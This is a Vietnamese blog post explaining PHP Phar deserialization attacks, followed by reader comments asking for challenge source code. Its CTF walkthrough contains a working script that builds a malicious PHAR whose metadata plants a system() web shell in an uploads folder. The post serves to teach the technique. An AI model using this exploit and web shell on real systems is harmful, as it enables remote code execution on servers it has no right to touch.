I. Phar Deserialization là gì?
Deserialization là một điểm yếu hot nhất của các nhà nghiên cứu bảo mật trong một thập kỷ gần đây. Mỗi năm lỗ hổng này ngày càng xảy ra nhiều hơn đối với các ngôn ngữ lập trình như Java, C# (thông qua .NET framework)
Sam Thomas, tại Blackhat 18 tại Mẽo đã giới thiệu một cách khai thác lỗ hổng mới trong PHP. Kiểu tấn công này khai thác xoay quay 01 phương thức stream wrapper là phar://, do chúng tự động “deserialized” metadata từ tệp PHAR

Do đó, nó mở ra các khai thác liên quan tới lập trình hướng thuộc tính bằng cách sửa đổi các thuộc tính của các object để thay đổi luồng logic của ứng dụng, mục đích cuối cùng best nhất là RCE.
II. Phân tích PHAR archive
Giống như tệp JAR của java, ở PHP ta có thể chia sẻ thư viện hoặc toàn bộ ứng dụng dưới dạng một tệp duy nhất đó là PHAR (PHP Archive)
Một file PHAR bao gồm 04 thành phần:
- Stub
- Manifest
- File Contents
- Signature
sub: đây là phần đầu tiên của PHAR, chứa mã nguồn chính, code gì cũng được miến cuối cùng phải có __HALT_COMPILER():
<?php echo ‘STUB!’; __HALT_COMPILER(); ?>
Manifest chứa các trường siêu dữ liệu (metadata) bao gồm thông tin về archive và các file trong archive. Điều quan trọng là các metadata này được lưu trữ dạng serialized format. Bất cứ một “hoạt động tệp” tác động đến tệp PHAR mà sử dụng wrapper phar:// thì những metadata này sẽ tự động deserialized.
file_get_contents('phar://./archives/app.phar')

Để thêm metadata vào archive, sử dụng:
PHAR: : setMetadata (mixed $metadata)
file contents: là các file thực có trong archive, chỉ vậy
//adds thêm file bằng $path to the archive as $name
PHAR: : addFile (string $path, $name)
//adds $contents to the archive as $name
PHAR: : addFromString (string $name, string $contents)
Signature: là một hàm băm của file archive, ta phải có chữ ký hợp lệ nếu muốn truy cập file archive từ PHP
Cách build 01 file phar:
php --define phar.readonly=0 <name>.php
III. Khai thác Phar Deserialization như nào?
Kẻ tấn công có thể thêm object từ bất kỳ class vào metadata của PHAR. Khi file PHAR được kích hoạt bên trong code PHP, tiến trình “deserialization” của PHAR cũng được kích hoạt cmnl.
Chương trình sẽ load các object đã được định trước trong metadata của PHAR (nếu nó thuộc về một class có trong code PHP). Ở PHP người ta có một số method mà khi có một sự kiện nhất định sẽ được gọi, người ta gọi là magic method (ma dịch mê thọt), trong chủ đề này ta chỉ quan tâm 02 thằng magic method là __wakeup() và __destruct(), vì chúng được gọi khi một object cần unserialized hoặc destroyed. Hãy tập trung vào __destruct() vì rất có thể nó đã được định nghĩa trong code PHP của ứng dụng mục tiêu rồi.
Dưới đây là một ví dụ về luồng để giúp bạn hình dung một cuộc tấn công Phar Deserialization như thế nào:

IV. Khai thác Phar Deserialization trong thực tế (hoặc CTF)
Sau đây là bài lele trong cuộc thi CTF NHNN&VSEC 03/2021, download source code tại:
Chuẩn bị file PHAR
<?php include 'logging.php';
$dummy = new LogFile();
$dummy->filename = "/var/www/html/uploads/ahihi1011.php";
$dummy->fcontents = "<?php echo system(\$_GET['b'])?>"; @unlink("poc.phar");
$poc = new Phar("poc.phar");
$poc->startBuffering();
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); $poc["file"] = "text";
$poc->setMetadata($dummy);
$poc->stopBuffering(); ?>
Build ra file PHAR nội dung trông nó thế này

Up lên, method destruct đã được gọi, khai thác thành công

Vào shell lấy flag, gg ez

Tham khảo tại: https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/
anh ơi đường link của file ko tồn tại, anh cho em xin soure code với ạ :3
LikeLiked by 1 person
Để email đây mình gửi cho 😀
LikeLike
datdo.230901@gmail.com
Cảm ơn anh ạ 😀
LikeLike
anh ơi, anh gửi em xin source code bài 3 ạ
LikeLiked by 1 person
Hôm qua anh gửi vào email buiman rồi đấy 😀
LikeLike
Anh có thể cho em xin source code được không ạ
LikeLiked by 1 person
nhắn a email. me@nhattruong.blog
LikeLike
Anh có thể cho em xin source code được không ạ, em cảm ơn. vuhuc365@gmail.com
LikeLiked by 1 person
email sai em ơi, ping a vào email:me@nhattruong.blog
LikeLike